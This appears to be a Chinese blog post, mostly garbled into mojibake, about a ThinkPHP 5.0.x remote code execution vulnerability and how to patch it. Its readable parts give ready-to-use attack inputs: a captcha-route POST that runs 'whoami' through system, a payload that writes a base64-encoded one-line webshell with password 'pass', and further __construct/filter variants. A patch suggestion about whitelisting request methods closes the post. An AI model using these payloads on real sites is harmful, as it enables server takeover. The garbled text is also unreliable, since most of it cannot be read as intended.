鍏徃缃戠珯鏈夋紡娲炴€庝箞瑙ｅ喅

Posted 2020-12-21

鏍囩锛?a href='http://www.mamicode.com/so/1/webshell' title='webshell'>webshell   瑙ｆ瀽   鐩綍   鍘熷洜   server   淇寤鸿   鎻愭潈   闃叉   captcha   

鍏徃缃戠珯鏈夋紡娲炴€庝箞瑙ｅ喅

鍒嗙被涓撴爮锛?缃戠珯琚鏀?缃戠珯瀹夊叏鏈嶅姟 濡備綍闃叉缃戠珯琚镜鍏?濡備綍闃叉缃戠珯琚寕椹?濡備綍闃叉缃戠珯琚粦 鎬庝箞鏌ユ壘缃戠珯婕忔礊 web缃戠珯瀹夊叏鏈嶅姟 缃戠珯***妫€娴?ecshop婕忔礊淇 MetInfo婕忔礊淇 缃戠珯瀹夊叏妫€娴?ecshop缃戠珯瀹夊叏淇ˉ 鏂囩珷鏍囩锛?缃戠珯鏈夋紡娲炴€庝箞瑙ｅ喅 缃戠珯婕忔礊鎬庝箞淇 鏈夌綉绔欐紡娲炴€庝箞鍔?濡備綍瑙ｅ喅缃戠珯婕忔礊
鐗堟潈
2019骞?鏈?4鏃ユ秷鎭紝thinkphp鍙堣鐖嗗嚭鑷村懡婕忔礊锛屽彲浠ョ洿鎺ヨ繙绋嬩唬鐮佹墽琛岋紝getshell鎻愭潈鍐欏叆缃戠珯***鍒扮綉绔欐牴鐩綍锛岀敋鑷崇洿鎺ユ彁鏉冨埌鏈嶅姟鍣紝璇ユ紡娲炲奖鍝嶇増鏈琓hinkPHP 5.0銆乀hinkPHP 5.0.10銆乀hinkPHP5.0.12銆乀hinkPHP5.0.13銆乀hinkPHP5.0.23銆乼hinkphp 5.0.22鐗堟湰銆?/p>

***鑰呭彲浠ヤ吉閫犺繙绋嬫伓鎰忎唬鐮侊紝瀵规湇鍔″櫒杩涜post鎻愪氦鏁版嵁鏉ュ埄鐢ㄦ紡娲烇紝璇ユ紡娲炰骇鐢熺殑鍘熷洜鏄户涓婃2019鍏冩棪鍓嶅悗鐖嗗嚭鐨勭綉绔欐紡娲炲悗锛屽張涓€娆＄殑鑷村懡婕忔礊銆傚湪thinkphp鐩綍涓嬬殑library鏂囦欢澶逛笅鐨則hink equest.php浠ｇ爜銆傚涓嬪浘鎵€绀猴細

浠庝笂杩颁唬鐮佷腑鍙互鐪嬪嚭鏁翠釜浠ｇ爜鍐欑殑娴佺▼锛岄鍏堟墦寮€缃戠珯浼氫粠app.php浠ｇ爜閲屽皢璇锋眰鐨勭綉绔欏湴鍧€浣跨敤check鏉ヨ繘琛岃В鏋愶紝鐒跺悗鍐嶇粡杩噋atch绫诲瀷瀵瑰叾杩涜娣卞害鐨勮祴鍊?鐒跺悗鍙互浣跨敤post鏂瑰紡鎻愪氦鏁版嵁鍒癬method鍑芥暟褰撲腑鍘伙紝妗嗘灦浼氬杩涜鍒ゆ柇锛岀劧鍚庡鍏惰皟鐢ㄤ紶鍏ョ殑鍙傛暟鍊硷紝缁忚繃鏁翠釜浠ｇ爜鐨勫惊鍧忎互鍙婁紶鍏ワ紝灏卞彲浠ュ鑷磖equest鐨勫€肩粰瑕嗙洊鎺夛紝浠庤€屼骇鐢熻繙绋嬩唬鐮佹墽琛岋紝鎴戜滑鏉ユ瀯閫犳伓鎰忕殑浠ｇ爜锛岀湅鐪嬫紡娲炴槸濡備綍浣跨敤鐨勩€?/p>

post鍦板潃锛歛nquan/public/index.php?s=captcha

POST鍐呭锛歝=system&f=whoami&_method=filter

鐩存帴杩滅▼鎻愪氦杩囧幓灏变細鎵ц鎴戜滑鐨勫懡浠?whoami銆傛煡鐪嬭繑鍥炵殑post鏁版嵁灏卞彲浠ョ湅鍒版垜浠鐪嬬殑

淇℃伅銆?br/>

鍦ㄦ暣浣撶殑鎵€鏈夌増鏈腑娴嬭瘯锛宼hinkphp蹇呴』寮€鍚痙ebug妯″紡鎵嶅彲浠ュ啓鍏ebshell锛屽啓鍏ョ殑鎵ц浠ｇ爜鏄細_method=construct&filter[]=assert&filter[]=file_put_contents(鈥?.php鈥?_decode

(鈥楯TNDJTI1ZXZhbCUyMHJlcXVlc3QlMjAlMjglMjJwYXNzJTIyJTI5JTI1JTNF鈥?)&server=-1 鍐欏叆鐨勬槸涓€鍙ヨ瘽***锛岃繛鎺ュ瘑鐮佹槸pass.

鏈変簺浣庣増鏈殑缃戠珯锛屽彲浠ヤ笉浣跨敤captcha鍙傛暟涔熷彲鏄墽琛岃繙绋嬩唬鐮侊紝浠ｇ爜濡備笅锛歘method=__construct&filter[]=system&method=GET&get[]=whoami

_method=__construct&filter[]=assert&server[]=phpinfo&get[]=phpinfo

_method=__construct&filter[]=call_user_func&server[]=phpinfo&get[]=phpinfo

浠ヤ笂涓変釜閮芥槸鍙互鎵ц杩滅▼浠ｇ爜鐨勩€?/p>

鍏充簬thinkphp婕忔礊鐨勪慨澶嶅缓璁細

灏藉揩鍗囩骇thinkphp鍒版渶鏂扮増鏈紝鏈変竴浜涚綉绔欏彲鑳戒笉鏂逛究鍗囩骇锛屼篃鍙互瀵逛唬鐮佺殑鏂囦欢杩涜淇锛屾紡娲炰唬鐮佹槸library/think/Request.php瀵硅浠ｇ爜鐨?26琛岋紝527琛岃繘琛屾坊鍔犺缃櫧鍚嶅崟鏈哄埗锛屽璇锋眰杩囨潵鐨勬暟鎹紝浠ュ強鎺ユ敹鐨勬暟鎹繘琛屽畨鍏ㄩ檺鍒躲€俰f (in_array($method, [鈥楪ET鈥? 鈥楶OST鈥? 鈥楧ELETE鈥? 鈥楶UT鈥? 鈥楶ATCH鈥榏)) {$this->method = $method,缃戠珯绋嬪簭浠ｇ爜鐨勫畨鍏ㄥ緢閲嶈锛屽鏋滅綉绔欎娇鐢ㄤ簡寮€婧愮殑CMS绯荤粺浠ｇ爜锛屼笉鎳傜▼搴忔妧鏈殑璇濓紝缃戠珯浼氱粡甯歌******锛屽鏋滆嚜宸辨噦绋嬪簭锛岄偅灏卞彲浠ヨ嚜宸遍拡瀵逛唬鐮佺殑婕忔礊杩涜婕忔礊淇锛屼笉鎳傜殑璇濓紝灏辫涓撲笟鐨勭綉绔欏畨鍏ㄥ叕鍙告潵瀹屽杽涓€涓嬬▼搴忎笂鐨勬煇浜涗唬鐮佹紡娲烇紝鍥藉唴鍍廠INE瀹夊叏銆佺豢鐩熷畨鍏ㄣ€佸惎鏄庢槦杈伴兘鏄瘮杈冧笓涓氱殑瀹夊叏鍏徃锛屽緢澶?**涔嬫墍浠ヨ兘妞嶅叆***鐥呮瘨锛屽氨鏄姄浣忎簡杩欎簺缃戠珯浠ｇ爜涓婄殑婕忔礊銆?/p>